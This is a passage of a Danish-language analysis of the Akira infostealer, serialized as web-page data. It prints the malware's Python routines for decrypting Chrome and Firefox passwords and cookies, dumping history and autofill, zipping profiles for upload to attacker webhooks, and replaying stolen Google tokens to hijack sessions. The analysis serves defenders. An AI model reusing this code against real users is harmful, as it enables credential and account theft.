encryptionKey)\n",[1683,6638,6639],{"class":1685,"line":2401},[1683,6640,6641],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[604,6643,6644,6652,6660,6668],{},[607,6645,6646,6467,6649,6651],{},[540,6647,6648],{},"Scanner",[551,6650,6325],{},"-SQLite-database.",[607,6653,6654,3261,6657,586],{},[540,6655,6656],{},"Vælger",[551,6658,6659],{},"host_key, name, path, encrypted_value, expires_utc",[607,6661,6662,6467,6664,6667],{},[540,6663,6493],{},[551,6665,6666],{},"encrypted_value","-blob for at afsløre den faktiske cookiestreng.",[607,6669,6670,2032,6673,586],{},[540,6671,6672],{},"Gemmer",[551,6674,6675],{},"Cookies/\u003CBrowserName> Cookies.txt",[861,6677,6679,6680,1112],{"id":6678},"_745-google-sessionsdumper-chromiumdump_google_sessions","7.4.5 Google-sessionsdumper (",[551,6681,6682],{},"Chromium.dump_google_sessions",[533,6684,867],{},[533,6686,6687],{},"Rutinen er en af de mere avancerede komponenter. Den dekrypterer gemte OAuth-tokens fra tabellen token_service. Ved at replaye dem via Googles multilogin-endpoint kan malwaren genskabe aktive sessionscookies, og det giver angribere mulighed for at kapre Google-konti uden loginoplysninger. Det illustrerer, hvordan adgangstokens er blevet et af de mest attraktive mål i moderne stealere.",[588,6689,6691],{"className":4494,"code":6690,"language":4496,"meta":594,"style":594},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[551,6692,6693,6698,6703,6708,6713,6718,6723,6728,6733,6738,6743,6748,6752],{"__ignoreMap":594},[1683,6694,6695],{"class":1685,"line":1686},[1683,6696,6697],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1683,6699,6700],{"class":1685,"line":2062},[1683,6701,6702],{},"for service, blob in cursor.fetchall():\n",[1683,6704,6705],{"class":1685,"line":2068},[1683,6706,6707],{},"    iv = blob[3:15]\n",[1683,6709,6710],{"class":1685,"line":2074},[1683,6711,6712],{},"    ciphertext = blob[15:-16]\n",[1683,6714,6715],{"class":1685,"line":2395},[1683,6716,6717],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1683,6719,6720],{"class":1685,"line":2401},[1683,6721,6722],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1683,6724,6725],{"class":1685,"line":3060},[1683,6726,6727],{},"    # Replays via POST to OAuth endpoint\n",[1683,6729,6730],{"class":1685,"line":3857},[1683,6731,6732],{},"    response = requests.post(\n",[1683,6734,6735],{"class":1685,"line":3863},[1683,6736,6737],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1683,6739,6740],{"class":1685,"line":4108},[1683,6741,6742],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1683,6744,6745],{"class":1685,"line":5030},[1683,6746,6747],{},"        data={\"source\": \"com.google.Drive\"}\n",[1683,6749,6750],{"class":1685,"line":5036},[1683,6751,5961],{},[1683,6753,6754],{"class":1685,"line":5042},[1683,6755,6756],{},"    save each account’s cookies to file\n",[604,6758,6759,6774,6784,6794],{},[607,6760,6761,3261,6764,6767,6768,6771,6772,586],{},[540,6762,6763],{},"Henter",[551,6765,6766],{},"service"," og den rå ",[551,6769,6770],{},"encrypted_token"," fra kopien af ",[551,6773,561],{},[607,6775,6776,6779,6780,6783],{},[540,6777,6778],{},"AES-GCM-dekryptering"," med browserens ",[551,6781,6782],{},"Local State","-nøgle.",[607,6785,6786,6789,6790,6793],{},[540,6787,6788],{},"Replayer"," de dekrypterede tokens i en POST-forespørgsel til Googles ",[551,6791,6792],{},"multilogin","-API for at genskabe gyldige OAuth-cookies.",[607,6795,6796,6798,6799,586],{},[540,6797,6510],{}," sessionsfiler pr. konto under ",[551,6800,6801],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[861,6803,6805,6806,1112],{"id":6804},"_746-historikdumper-chromiumgethistory","7.4.6 Historikdumper (",[551,6807,6808],{},"Chromium.GetHistory",[533,6810,867],{},[533,6812,6813],{},"Funktionen udtrækker poster fra browserhistorikken, herunder URL, titel og besøgsfrekvens. Ud over indgrebet i privatlivet hjælper de data angribere med at forstå offerets adfærd, udpege mål med høj værdi, for eksempel bankportaler, eller skræddersy payloads til social engineering.",[588,6815,6817],{"className":4494,"code":6816,"language":4496,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[551,6818,6819,6823,6828,6832,6837],{"__ignoreMap":594},[1683,6820,6821],{"class":1685,"line":1686},[1683,6822,6536],{},[1683,6824,6825],{"class":1685,"line":2062},[1683,6826,6827],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1683,6829,6830],{"class":1685,"line":2068},[1683,6831,6546],{},[1683,6833,6834],{"class":1685,"line":2074},[1683,6835,6836],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1683,6838,6839],{"class":1685,"line":2395},[1683,6840,6841],{},"return [(url, title, count) for url, title, count, _ in history]\n",[604,6843,6844,6855,6865],{},[607,6845,6846,3261,6848,6851,6852,6854],{},[540,6847,6656],{},[551,6849,6850],{},"url, title, visit_count, last_visit_time"," fra hver ",[551,6853,6377],{},"-database.",[607,6856,6857,6860,6861,6864],{},[540,6858,6859],{},"Sorterer"," posterne efter ",[551,6862,6863],{},"last_visit_time"," i faldende rækkefølge.",[607,6866,6867,3261,6869,586],{},[540,6868,6510],{},[551,6870,6871],{},"History/\u003CBrowserName> History.txt",[861,6873,6875,6876,1112],{"id":6874},"_747-autofyld-dumper-chromiumgetautofills","7.4.7 Autofyld-dumper (",[551,6877,6878],{},"Chromium.GetAutofills",[533,6880,867],{},[533,6882,6883],{},"Autofyld-poster som adresser, navne, e-mailadresser og af og til betalingsrelaterede data skrabes ud af browserens Web Data-lager. Hver for sig virker værdierne ikke kritiske, men lagt sammen giver de en fyldig profil af offerets identitet og adfærd.",[588,6885,6887],{"className":4494,"code":6886,"language":4496,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[551,6888,6889,6893,6898,6902,6907],{"__ignoreMap":594},[1683,6890,6891],{"class":1685,"line":1686},[1683,6892,6536],{},[1683,6894,6895],{"class":1685,"line":2062},[1683,6896,6897],{},"    \"SELECT name, value FROM autofill\"\n",[1683,6899,6900],{"class":1685,"line":2068},[1683,6901,6546],{},[1683,6903,6904],{"class":1685,"line":2074},[1683,6905,6906],{},"for field, value in results:\n",[1683,6908,6909],{"class":1685,"line":2395},[1683,6910,6911],{},"    autofills.append((field.strip(), value.strip()))\n",[604,6913,6914,6926],{},[607,6915,6916,6918,6919,6922,6923,586],{},[540,6917,6763],{}," formularposter: ",[551,6920,6921],{},"name, value"," fra filen ",[551,6924,6925],{},"web data",[607,6927,6928,6930,6931,586],{},[540,6929,6510],{}," dem ud som ",[551,6932,6933],{},"Autofill/\u003CBrowserName> Autofill.txt",[861,6935,6937,6938,6940,6941,1112],{"id":6936},"_748-firefox-profilindsamler-geckodriver-grabfirefoxprofiles","7.4.8 Firefox-profilindsamler (",[551,6939,6251],{}," & ",[551,6942,6943],{},"grabFirefoxProfiles",[533,6945,867],{},[533,6947,6948],{},"Til forskel fra de finkornede Chromium-rutiner vælger funktionen en bred tilgang: den komprimerer hele Firefox-profilmappen, inklusive gemte logins, cookies og bogmærker, og eksfiltrerer den i sin helhed. Det sikrer, at angribere kan analysere eller udtrække data offline og omgå forhindringerne ved dekryptering med kendt NSS-værktøj.",[588,6950,6952],{"className":4494,"code":6951,"language":4496,"meta":594,"style":594},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[551,6953,6954,6959,6964,6969],{"__ignoreMap":594},[1683,6955,6956],{"class":1685,"line":1686},[1683,6957,6958],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1683,6960,6961],{"class":1685,"line":2062},[1683,6962,6963],{},"    for root, dirs, files in os.walk(source_path):\n",[1683,6965,6966],{"class":1685,"line":2068},[1683,6967,6968],{},"        zipf.write(each file)\n",[1683,6970,6971],{"class":1685,"line":2074},[1683,6972,6973],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[604,6975,6976,6985,6995],{},[607,6977,6978,6981,6982,586],{},[540,6979,6980],{},"Zipper"," hele mappen ",[551,6983,6984],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles",[607,6986,6987,6990,6991,6994],{},[540,6988,6989],{},"Navngiver"," den ",[551,6992,6993],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," og sender downloadlinket over de samme webhook-kanaler.",[607,6996,6997,7000,7001,620,7004,620,7007,7010],{},[540,6998,6999],{},"Kalder"," desuden de samme SQLite-baserede udtræksfunktioner (",[551,7002,7003],{},"logins.json",[551,7005,7006],{},"cookies.sqlite",[551,7008,7009],{},"places.sqlite",") mod hver Firefox-profil, med de NSS-dekrypteringsrutiner der allerede findes.",[861,7012,7014],{"id":7013},"_749-sammenfatning-af-udtrækket","7.4.9 Sammenfatning af udtrækket",[533,7016,867],{},[533,7018,7019,7020,620,7022,620,7024,620,7026,558,7028,7031,7032,7035,7036,7038,7039,620,7041,558,7043,7045,7046,7049],{},"Astor.py orkestrerer en gennemgribende kompromittering af browseren ved systematisk at høste hver enkelt loginoplysning og sessionsartefakt på tværs af Chromium-baserede klienter og Firefox. Den finder og kopierer sikkert hvert SQLite-lager, altså ",[551,7021,557],{},[551,7023,561],{},[551,7025,6325],{},[551,7027,6377],{},[551,7029,7030],{},"autofill",", og kører derefter målrettede SQL-forespørgsler for at udtrække URL'er, brugernavne, adgangskoder, kreditkortoplysninger, cookies, browserhistorik og formularposter. Adgangskoder og betalingsdata dekrypteres via AES-GCM eller med Windows DPAPI som fallback, mens cookies pakkes ud på samme måde for at afsløre deres klartekstværdier. For Google-konti dekrypteres krypterede OAuth-tokens fra ",[551,7033,7034],{},"token_service"," og replayes mod ",[551,7037,6792],{},"-API'et for at genskabe levende sessionscookies. Til sidst arkiveres Firefox-profiler i deres helhed (inklusive ",[551,7040,7003],{},[551,7042,7006],{},[551,7044,7009],{},") og leveres som ZIP-filer, så ingen artefakt bliver efterladt. Hele denne kæde kører lydløst under ",[551,7047,7048],{},"%TEMP%\\\u003CComputerName>"," og producerer pænt organiserede outputfiler for hver datakategori.",[714,7051,7053],{"id":7052},"_75-dekrypteringslogikken","7.5 Dekrypteringslogikken",[533,7055,720],{},[533,7057,7058],{},"Moderne browsere som Chrome og Edge krypterer følsomme data, for eksempel adgangskoder, cookies og kreditkortoplysninger, før de gemmes lokalt. Akira har indbyggede dekrypteringsrutiner, der er skræddersyet til at håndtere både ældre og nuværende Chromium-krypteringsmetoder. Det sikrer, at den kan udtrække klartekstdata uanset systemets patchniveau eller browserversion.",[533,7060,7061],{},"Kernen i processen er udtrækket og dekrypteringen af browserens masterkrypteringsnøgle, der ligger i en fil kaldet Local State. Afhængigt af browserversion og Windows-build vælger Akira dynamisk den rigtige dekrypteringsmetode:",[533,7063,7064],{},"DPAPI (Data Protection API) bruges på ældre systemer, hvor Chrome gemmer hemmeligheder beskyttet af den aktuelle brugers Windows-loginoplysninger.",[533,7066,7067],{},"AES-GCM bruges i moderne Chromium-builds, hvor en tilfældigt genereret masternøgle selv er krypteret med DPAPI og derefter bruges til kryptering af brugerdata inde i appen.",[533,7069,7070],{},"Ved først at dekryptere masternøglen i Local State får Akira mulighed for at låse alle browserens hemmeligheder op, og det baner vejen for udtræk af loginoplysninger, tokens, cookies og mere.",[533,7072,7073],{},[540,7074,7075],{},"Udtræk af nøglen",[588,7077,7079],{"className":4494,"code":7078,"language":4496,"meta":594,"style":594},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[551,7080,7081,7086,7091,7096],{"__ignoreMap":594},[1683,7082,7083],{"class":1685,"line":1686},[1683,7084,7085],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1683,7087,7088],{"class":1685,"line":2062},[1683,7089,7090],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1683,7092,7093],{"class":1685,"line":2068},[1683,7094,7095],{},"    local_state = json.load(f)\n",[1683,7097,7098],{"class":1685,"line":2074},[1683,7099,7100],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[533,7102,7103],{},[540,7104,7105],{},"Dekryptering (AES-GCM):",[588,7107,7109],{"className":4494,"code":7108,"language":4496,"meta":594,"style":594},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[551,7110,7111,7116,7121,7126,7131],{"__ignoreMap":594},[1683,7112,7113],{"class":1685,"line":1686},[1683,7114,7115],{},"nonce = value[3:15]\n",[1683,7117,7118],{"class":1685,"line":2062},[1683,7119,7120],{},"ciphertext = value[15:-16]\n",[1683,7122,7123],{"class":1685,"line":2068},[1683,7124,7125],{},"tag = value[-16:]\n",[1683,7127,7128],{"class":1685,"line":2074},[1683,7129,7130],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1683,7132,7133],{"class":1685,"line":2395},[1683,7134,7135],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[533,7137,7138,7139,586],{},"Er der behov for at falde tilbage på DPAPI, hvilket sker på ældre systemer, bruges ",[551,7140,7141],{},"win32crypt.CryptUnprotectData()",[533,7143,7144,7150],{},[540,7145,7146,7147,1173],{},"Forklaring af ",[551,7148,7149],{},"decrypt_password_blob","\nFunktionen viser, hvordan Akira Stealer dekrypterer hver gemt adgangskodeværdi fra Chromium-baserede browsere. Den håndterer to tilfælde:",[2082,7152,7153,7163],{},[607,7154,7155,7158,7159,7162],{},[540,7156,7157],{},"Windows DPAPI-blobs"," (ældre eller ikke-GCM-krypterede data): Falder tilbage på systemkaldet ",[551,7160,7161],{},"CryptUnprotectData",", der bruger brugerens Windows-loginoplysninger til at dekryptere.",[607,7164,7165,7168,7169,7172],{},[540,7166,7167],{},"AES-GCM-krypterede blobs"," (Chrome v10/v11-format): Læser versionsheaderen, udtrækker IV og autentificeringstag og bruger biblioteket ",[551,7170,7171],{},"cryptography"," til at dekryptere payloaden sikkert.",[588,7174,7176],{"className":4494,"code":7175,"language":4496,"meta":594,"style":594},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[551,7177,7178,7183,7188,7192,7196,7201,7205,7210,7214,7219,7224,7229,7233,7238,7243,7247,7252,7257,7262,7267,7271,7276,7281,7286,7291,7296,7301,7306,7311,7316,7320,7325,7330,7335,7340,7345,7349,7354,7358,7363,7368,7372,7377],{"__ignoreMap":594},[1683,7179,7180],{"class":1685,"line":1686},[1683,7181,7182],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1683,7184,7185],{"class":1685,"line":2062},[1683,7186,7187],{},"from cryptography.hazmat.backends import default_backend\n",[1683,7189,7190],{"class":1685,"line":2068},[1683,7191,3854],{"emptyLinePlaceholder":325},[1683,7193,7194],{"class":1685,"line":2074},[1683,7195,3854],{"emptyLinePlaceholder":325},[1683,7197,7198],{"class":1685,"line":2395},[1683,7199,7200],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1683,7202,7203],{"class":1685,"line":2401},[1683,7204,5835],{},[1683,7206,7207],{"class":1685,"line":3060},[1683,7208,7209],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1683,7211,7212],{"class":1685,"line":3857},[1683,7213,3854],{"emptyLinePlaceholder":325},[1683,7215,7216],{"class":1685,"line":3863},[1683,7217,7218],{},"    Parameters:\n",[1683,7220,7221],{"class":1685,"line":4108},[1683,7222,7223],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1683,7225,7226],{"class":1685,"line":5030},[1683,7227,7228],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1683,7230,7231],{"class":1685,"line":5036},[1683,7232,3854],{"emptyLinePlaceholder":325},[1683,7234,7235],{"class":1685,"line":5042},[1683,7236,7237],{},"    Returns:\n",[1683,7239,7240],{"class":1685,"line":5048},[1683,7241,7242],{},"    - Decrypted UTF-8 plaintext password\n",[1683,7244,7245],{"class":1685,"line":5054},[1683,7246,5835],{},[1683,7248,7249],{"class":1685,"line":5060},[1683,7250,7251],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1683,7253,7254],{"class":1685,"line":5066},[1683,7255,7256],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1683,7258,7259],{"class":1685,"line":5072},[1683,7260,7261],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1683,7263,7264],{"class":1685,"line":5078},[1683,7265,7266],{},"        return CryptUnprotectData(buffer)\n",[1683,7268,7269],{"class":1685,"line":5084},[1683,7270,3854],{"emptyLinePlaceholder":325},[1683,7272,7273],{"class":1685,"line":5090},[1683,7274,7275],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1683,7277,7278],{"class":1685,"line":5096},[1683,7279,7280],{},"    # Bytes layout:\n",[1683,7282,7283],{"class":1685,"line":5102},[1683,7284,7285],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1683,7287,7288],{"class":1685,"line":5108},[1683,7289,7290],{},"    # [3:15]   = initialization vector (IV)\n",[1683,7292,7293],{"class":1685,"line":5114},[1683,7294,7295],{},"    # [15:-16] = ciphertext payload\n",[1683,7297,7298],{"class":1685,"line":5781},[1683,7299,7300],{},"    # [-16:]   = GCM authentication tag\n",[1683,7302,7303],{"class":1685,"line":5786},[1683,7304,7305],{},"    iv = buffer[3:15]\n",[1683,7307,7308],{"class":1685,"line":5791},[1683,7309,7310],{},"    ciphertext = buffer[15:-16]\n",[1683,7312,7313],{"class":1685,"line":5796},[1683,7314,7315],{},"    tag = buffer[-16:]\n",[1683,7317,7318],{"class":1685,"line":5802},[1683,7319,3854],{"emptyLinePlaceholder":325},[1683,7321,7322],{"class":1685,"line":5807},[1683,7323,7324],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1683,7326,7327],{"class":1685,"line":5812},[1683,7328,7329],{},"    cipher = Cipher(\n",[1683,7331,7332],{"class":1685,"line":5817},[1683,7333,7334],{},"        algorithms.AES(key),\n",[1683,7336,7337],{"class":1685,"line":5822},[1683,7338,7339],{},"        modes.GCM(iv, tag),\n",[1683,7341,7342],{"class":1685,"line":5827},[1683,7343,7344],{},"        backend=default_backend()\n",[1683,7346,7347],{"class":1685,"line":5832},[1683,7348,5961],{},[1683,7350,7351],{"class":1685,"line":5838},[1683,7352,7353],{},"    decryptor = cipher.decryptor()\n",[1683,7355,7356],{"class":1685,"line":5844},[1683,7357,3854],{"emptyLinePlaceholder":325},[1683,7359,7360],{"class":1685,"line":5850},[1683,7361,7362],{},"    # Perform decryption; raises if authentication fails\n",[1683,7364,7365],{"class":1685,"line":5855},[1683,7366,7367],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1683,7369,7370],{"class":1685,"line":5860},[1683,7371,3854],{"emptyLinePlaceholder":325},[1683,7373,7374],{"class":1685,"line":5865},[1683,7375,7376],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1683,7378,7379],{"class":1685,"line":5870},[1683,7380,7381],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[714,7383,7385],{"id":7384},"_76-kapring-af-sessionstokens","7.6 Kapring af sessionstokens",[533,7387,720],{},[533,7389,7390,7391,7394],{},"Akira stopper ikke ved passiv dataindsamling, den kaprer aktivt levende sessionstokens for at udgive sig for offeret i realtid. Efter at have udtrukket krypterede tokens fra browserens lager opbygger den den nødvendige autorisationsheader igen og replayer en ",[540,7392,7393],{},"MultiLogin","-forespørgsel mod Googles OAuth-endpoint. Kodeudsnittet nedenfor illustrerer processen:",[588,7396,7398],{"className":4494,"code":7397,"language":4496,"meta":594,"style":594},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[551,7399,7400,7405,7410,7415,7420,7425,7430,7435,7440,7445,7449,7454,7459,7464,7469,7474,7478,7483,7488],{"__ignoreMap":594},[1683,7401,7402],{"class":1685,"line":1686},[1683,7403,7404],{},"# Build SAPISIDHASH header for Google services\n",[1683,7406,7407],{"class":1685,"line":2062},[1683,7408,7409],{},"origin = \"https://accounts.google.com\"\n",[1683,7411,7412],{"class":1685,"line":2068},[1683,7413,7414],{},"timestamp = int(time.time())\n",[1683,7416,7417],{"class":1685,"line":2074},[1683,7418,7419],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1683,7421,7422],{"class":1685,"line":2395},[1683,7423,7424],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1683,7426,7427],{"class":1685,"line":2401},[1683,7428,7429],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1683,7431,7432],{"class":1685,"line":3060},[1683,7433,7434],{},"headers = {\n",[1683,7436,7437],{"class":1685,"line":3857},[1683,7438,7439],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1683,7441,7442],{"class":1685,"line":3863},[1683,7443,7444],{},"    \"Content-Type\": \"application/json\"\n",[1683,7446,7447],{"class":1685,"line":4108},[1683,7448,2404],{},[1683,7450,7451],{"class":1685,"line":5030},[1683,7452,7453],{},"# Replay MultiLogin to fetch valid session cookies\n",[1683,7455,7456],{"class":1685,"line":5036},[1683,7457,7458],{},"response = requests.post(\n",[1683,7460,7461],{"class":1685,"line":5042},[1683,7462,7463],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1683,7465,7466],{"class":1685,"line":5048},[1683,7467,7468],{},"    headers=headers,\n",[1683,7470,7471],{"class":1685,"line":5054},[1683,7472,7473],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1683,7475,7476],{"class":1685,"line":5060},[1683,7477,5249],{},[1683,7479,7480],{"class":1685,"line":5066},[1683,7481,7482],{},"if response.status_code == 200:\n",[1683,7484,7485],{"class":1685,"line":5072},[1683,7486,7487],{},"    # Victim’s cookies now present in response.cookies\n",[1683,7489,7490],{"class":1685,"line":5078},[1683,7491,7492],{},"    hijacked_cookies = response.cookies\n",[533,7494,7495],{},"Ved at replaye forespørgslen kan Akira udgive sig for brugerens Gmail, Drive eller enhver anden Google-tjeneste, der er beskyttet af en gyldig session, helt uden loginoplysninger. Teknikken udnytter Googles egen logik for at acceptere tokens, og det gør den næsten umulig at skelne fra legitim klientadfærd.",[714,7497,7499],{"id":7498},"_77-firefox-dekryptering","7.7 Firefox-dekryptering",[533,7501,720],{},[533,7503,7504,7505,7508],{},"Gecko-baserede browsere som Firefox krypterer gemte loginoplysninger og cookies med en masternøgle, der ligger i ",[551,7506,7507],{},"key4.db",". Akira rummer en afklædt dekrypteringsrutine, der spejler Mozillas NSS-logik og håndterer både 3DES- og AES-CBC-varianter uden at udløse prompten om masteradgangskoden. Eksempel på brug:",[588,7510,7512],{"className":4494,"code":7511,"language":4496,"meta":594,"style":594},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[551,7513,7514,7519,7524,7529,7534,7539,7543,7548,7553,7558,7563,7568,7573,7578,7583,7588,7593,7597],{"__ignoreMap":594},[1683,7515,7516],{"class":1685,"line":1686},[1683,7517,7518],{},"# Load global Salt and encrypted item from key4.db\n",[1683,7520,7521],{"class":1685,"line":2062},[1683,7522,7523],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1683,7525,7526],{"class":1685,"line":2068},[1683,7527,7528],{},"cursor = db.cursor()\n",[1683,7530,7531],{"class":1685,"line":2074},[1683,7532,7533],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1683,7535,7536],{"class":1685,"line":2395},[1683,7537,7538],{},"global_salt, item2 = cursor.fetchone()\n",[1683,7540,7541],{"class":1685,"line":2401},[1683,7542,3854],{"emptyLinePlaceholder":325},[1683,7544,7545],{"class":1685,"line":3060},[1683,7546,7547],{},"# Decode DER structure and derive key\n",[1683,7549,7550],{"class":1685,"line":3857},[1683,7551,7552],{},"decoded, _ = der_decode(item2)\n",[1683,7554,7555],{"class":1685,"line":3863},[1683,7556,7557],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1683,7559,7560],{"class":1685,"line":4108},[1683,7561,7562],{},"cipher_text = decoded[1].asOctets()\n",[1683,7564,7565],{"class":1685,"line":5030},[1683,7566,7567],{},"# Derive 3DES key\n",[1683,7569,7570],{"class":1685,"line":5036},[1683,7571,7572],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1683,7574,7575],{"class":1685,"line":5042},[1683,7576,7577],{},"iv = decoded[0][1][1].asOctets()\n",[1683,7579,7580],{"class":1685,"line":5048},[1683,7581,7582],{},"# Decrypt credentials\n",[1683,7584,7585],{"class":1685,"line":5054},[1683,7586,7587],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1683,7589,7590],{"class":1685,"line":5060},[1683,7591,7592],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1683,7594,7595],{"class":1685,"line":5066},[1683,7596,3854],{"emptyLinePlaceholder":325},[1683,7598,7599],{"class":1685,"line":5072},[1683,7600,7601],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[533,7603,7604,7605,620,7607,558,7609,7611],{},"Med rutinen kan Akira uden videre dumpe ",[551,7606,7003],{},[551,7608,7006],{},[551,7610,7009],{}," for hver Firefox-profil og skrive det dekrypterede output til:",[588,7613,7616],{"className":7614,"code":7615,"language":593},[591],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[551,7617,7615],{"__ignoreMap":594},[533,7619,7620],{},"Fremgangsmåden går rundt om kontrollen af masteradgangskoden på brugerniveau og giver stealeren uhindret adgang til alle gemte loginoplysninger.*",[533,7622,7623],{},[540,7624,7625],{},"4. Filstruktur og navngivning",[588,7627,7630],{"className":7628,"code":7629,"language":593,"meta":594},[591],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome 